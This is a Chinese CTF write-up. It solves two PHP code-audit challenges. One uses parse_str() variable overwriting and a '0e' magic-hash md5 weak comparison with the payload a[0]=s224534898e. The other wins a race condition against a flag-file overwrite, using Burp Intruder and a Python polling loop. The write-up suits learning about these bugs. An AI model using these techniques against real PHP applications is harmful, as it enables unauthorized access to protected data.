CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争

一进来就是PHP代码审计。
CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争_第1张图片


include"url.php";
highlight_file(__FILE__);
$a[0] = 'wenhua3104';
$id = $_GET['id'];	//传入ID参数
@parse_str($id);	//将变量ID进行参数化。
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo $url;
}

第一点就是理解parse_str()函数
CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争_第2张图片
第二点就得知道哪些参数的md5值和md5('QNKCDZO')是相等的。这个百度一下就行了。
CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争_第3张图片
因为结果是这种科学计数法的,只要也找到结果为0e开头的后面全为数字的,弱类型比较就会成立。
CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争_第4张图片
这样就可以了,但是我也踩了个坑,"a[0]=s224534898e"用双引号就不行,但是自己在本地测试是可以通过的,原因未知。。。
点击链接后进行跳转到新的界面。
CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争_第5张图片
先以为搞出来就结束了,没想到又是一次代码审计,不过最近一直在写php,这个就简单了。


highlight_file(__FILE__);
include"flag.php";
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777, true);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        $content = $flag;
        file_put_contents("$savepath" . $_GET['filename'], $content); //把flag写到刚刚创建的文件中。
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        echo $msg;
        usleep(100000);		//0.1秒的时间就会将content内容进行改变
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
    print <<<EOT
EOT;
} else{ echo 'you can not see this page'; } ?>

说白了就是条件竞争。通过burpsuiteintruder不停的提交此表单,然后写个py即可。
CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争_第6张图片
文件名为11,前面的随机数为自己的IP地址决定的。
CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争_第7张图片
提交后拦截发送到intruder,参数设为content,内容无所谓,只要让他不停的发送即可。
CTF PHP代码审计 parse_str()函数 md5值弱类型比较 条件竞争_第8张图片
py如下,很简单的脚本。

import requests
url = "http://39.96.166.21:5001/uploads/b895cfab6ad813e2cba5234e31b4e746ae203049/11"
while True:
    html = requests.get(url)
    if "slow"  not in html.text:
        print(html.text)
        break

运行了以后得出结果
在这里插入图片描述

你可能感兴趣的:(#,HustWhCTF,Writeup)